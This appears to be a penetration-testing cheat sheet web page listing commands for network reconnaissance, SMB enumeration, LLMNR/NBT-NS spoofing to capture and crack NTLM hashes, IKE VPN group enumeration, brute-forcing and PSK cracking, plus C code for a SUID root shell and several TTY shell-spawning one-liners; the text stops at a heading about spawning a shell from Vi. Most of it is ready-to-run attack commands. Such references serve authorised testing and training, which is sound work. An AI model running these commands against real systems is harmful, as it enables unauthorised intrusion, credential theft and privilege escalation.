Penetration testing tools cheat sheet, a quick reference high level overview for typical penetration testing engagements. Designed as a quick reference cheat sheet providing a high level overview of the typical commands you would run when performing a penetration test. For more in depth information I’d recommend the man file for the tool or a more specific pen testing cheat sheet from the menu on the right.

The focus of this cheat sheet is infrastructure / network penetration testing, web application penetration testing is not covered here apart from a few sqlmap commands at the end and some web server enumeration. For Web Application Penetration Testing, check out the Web Application Hackers Hand Book, it is excellent for both learning and reference.

Pre-engagement

Network Configuration

Set IP Address

ifconfig eth0 xxx.xxx.xxx.xxx/24

Subnetting

ipcalc xxx.xxx.xxx.xxx/24

 ipcalc xxx.xxx.xxx.xxx 255.255.255.0 

OSINT

Passive Information Gathering

DNS

WHOIS enumeration

whois domain-name-here.com

Perform DNS IP Lookup

dig a domain-name-here.com @nameserver

Perform MX Record Lookup

dig mx domain-name-here.com @nameserver

Perform Zone Transfer with DIG

dig axfr domain-name-here.com @nameserver

DNS Zone Transfers

nslookup -> set type=any -> ls -d blah.com

dig axfr blah.com @ns1.blah.com

Email

Simply Email

Use Simply Email to enumerate all the online places (github, target site etc), it works better if you use proxies or set long throttle times so google doesn’t think you’re a robot and make you fill out a Captcha.

git clone https://github.com/killswitch-GUI/SimplyEmail.git ./SimplyEmail.py -all -e TARGET-DOMAIN

Simply Email can verify the discovered email addresss after gathering.

Semi Active Information Gathering

Basic Finger Printing

Manual finger printing / banner grabbing.

Banner grabbing with NC

nc TARGET-IP 80 

GET / HTTP/1.1 

Host: TARGET-IP

 User-Agent: Mozilla/5.0 

Referrer: meh-domain

 <enter>

Active Information Gathering

DNS Bruteforce

DNSRecon

Port Scanning

Nmap Commands

For more commands, see the Nmap cheat sheet (link in the menu on the right).

Basic Nmap Commands:
ls /usr/share/nmap/scripts/* | grep ftp

Search nmap scripts for keywords

Don’t use T4 commands on external pen tests (when using an Internet connection), you’re probably better off using a T2 with a TCP connect scan. A T4 scan would likely be better suited for an internal pen test, over low latency links with plenty of bandwidth. But it all depends on the target devices, embeded devices are going to struggle if you T4 / T5 them and give inconclusive results. As a general rule of thumb, scan as slowly as you can, or do a fast scan for the top 1000 so you can start pen testing then kick off a slower scan.

Nmap UDP Scanning

nmap -sU TARGET

UDP Protocol Scanner

git clone https://github.com/portcullislabs/udp-proto-scanner.git

Scan a file of IP addresses for all services:

./udp-protocol-scanner.pl -f ip.txt

Scan for a specific UDP service:

udp-proto-scanner.pl -p ntp -f ips.txt

Other Host Discovery

Other methods of host discovery, that don’t use nmap

Enumeration & Attacking Network Services

Penetration testing tools that spefically identify and / or enumerate network services:

SAMB / SMB / Windows Domain Enumeration

Samba Enumeration

SMB Enumeration Tools

nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target

Also see, nbtscan cheat sheet (right hand menu).

Fingerprint SMB Version

smbclient -L //192.168.1.100

Find open SMB Shares

nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.1.0/24   

Enumerate SMB Users

nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254 

python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX

RID Cycling:

ridenum.py 192.168.XXX.XXX 500 50000 dict.txt

Metasploit module for RID cycling:

use auxiliary/scanner/smb/smb_lookupsid

Manual Null session testing:

Windows:

net use \\TARGET\IPC$ "" /u:""

Linux:

smbclient -L //192.168.99.131

NBTScan unixwiz

Install on Kali rolling:

apt-get install nbtscan-unixwiz 
nbtscan-unixwiz -f 192.168.0.1-254 > nbtscan

LLMNR / NBT-NS Spoofing

Steal credentials off the network.

Metasploit LLMNR / NetBIOS requests

Spoof / poison LLMNR / NetBIOS requests:

auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_response

Capture the hashes:

auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlm

You’ll end up with NTLMv2 hash, use john or hashcat to crack it.

Responder.py

Alternatively you can use responder.

git clone https://github.com/SpiderLabs/Responder.git
python Responder.py -i local-ip -I eth0

VPN Pentesting Tools

Identify VPN servers:

./udp-protocol-scanner.pl -p ike TARGET(s)

Scan a range for VPN servers:

./udp-protocol-scanner.pl -p ike -f ip.txt

IKEForce

Use IKEForce to enumerate or dictionary attack VPN servers.

Install:

pip install pyip
git clone https://github.com/SpiderLabs/ikeforce.git

Perform IKE VPN enumeration with IKEForce:

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

Bruteforce IKE VPN using IKEForce:

./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1

ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key

IKE Aggressive Mode PSK Cracking

1. Identify VPN Servers
2. Enumerate with IKEForce to obtain the group ID
3. Use ike-scan to capture the PSK hash from the IKE endpoint
4. Use psk-crack to crack the hash

Step 1: Idenitfy IKE Servers

./udp-protocol-scanner.pl -p ike SUBNET/24

Step 2: Enumerate group name with IKEForce

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

Step 3: Use ike-scan to capture the PSK hash

ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP

Step 4: Use psk-crack to crack the PSK hash

psk-crack hash-file.txt

Some more advanced psk-crack options below:

pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key

Compiling Exploits

Identifying if C code is for Windows or Linux

C #includes will indicate which OS should be used to build the exploit.

Compile exploit gcc.

GCC Compile 32Bit Exploit on 64Bit Kali

Handy for cross compiling 32 bit binaries on 64 bit attacking machines.

Compile Windows .exe on Linux

Build / compile windows exploits on Linux, resulting in a .exe file.

SUID Binary

Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.

below are some quick copy and pate examples for various shells:

SUID C Shell for /bin/bash

int main(void){
       setresuid(0, 0, 0);
       system("/bin/bash");
}       

SUID C Shell for /bin/sh

int main(void){
       setresuid(0, 0, 0);
       system("/bin/sh");
}       

Building the SUID Shell binary

gcc -o suid suid.c  

For 32 bit:

gcc -m32 -o suid suid.c 

TTY Shells

Python TTY Shell Trick

python -c 'import pty;pty.spawn("/bin/bash")'

echo os.system('/bin/bash')

Spawn Interactive sh shell

/bin/sh -i

Spawn Perl TTY Shell

exec "/bin/sh";
perl —e 'exec "/bin/sh";'

Spawn Ruby TTY Shell

exec "/bin/sh"

Spawn Lua TTY Shell

os.execute('/bin/sh')

Spawn TTY Shell from Vi
